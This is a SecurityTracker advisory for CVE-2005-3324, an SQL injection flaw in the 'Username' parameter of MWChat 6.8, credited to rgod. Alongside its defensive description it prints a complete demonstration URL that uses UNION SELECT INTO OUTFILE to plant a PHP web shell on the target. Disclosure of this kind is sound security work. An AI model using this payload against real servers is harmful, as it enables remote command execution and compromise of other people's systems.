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Category:   Application (Instant Messaging/IRC/Chat)  >   MWChat Vendors:   AppIndex
MWChat Input Validation Hole in 'Username' Permits SQL Injection Attacks
SecurityTracker Alert ID:  1015094
SecurityTracker URL:  http://securitytracker.com/id/1015094
CVE Reference:   CVE-2005-3324   (Links to External Site)
Updated:  Nov 2 2008
Original Entry Date:  Oct 24 2005
Impact:   Disclosure of system information, Disclosure of user information, Execution of arbitrary code via network
Exploit Included:  Yes  

Description:   rgod reported a vulnerability in MWChat. A remote user can inject SQL commands.

The software does not properly validate user-supplied input. A remote user can supply a specially crafted parameter value to execute SQL commands on the underlying database.

A demonstration exploit URL that will write PHP code to a file on the target system is provided:

http://[target]/mwchat/chat.php?Username='UNION%20SELECT%200,0,0,0,'<?system($_GET[cmd]);?>',0,0,0%20INTO%20OUTFILE%20'../../www/mwchat/shell.php'%20FROM%20chat_text/*&Sequence_Check=&Lang=en&Resolution=1280&Room=prova

Impact:   A remote user can execute SQL commands on the underlying database. This can be exploited to execute arbitrary PHP code and operating system commands on the target system.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.appindex.net/products/detail/?product=mwchat (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  MWCHAT 6.8 SQL INJECTION / REMOTE COMMANDS EXECUTION

http://rgod.altervista.org/mwchat.html
 
rgod
 
 


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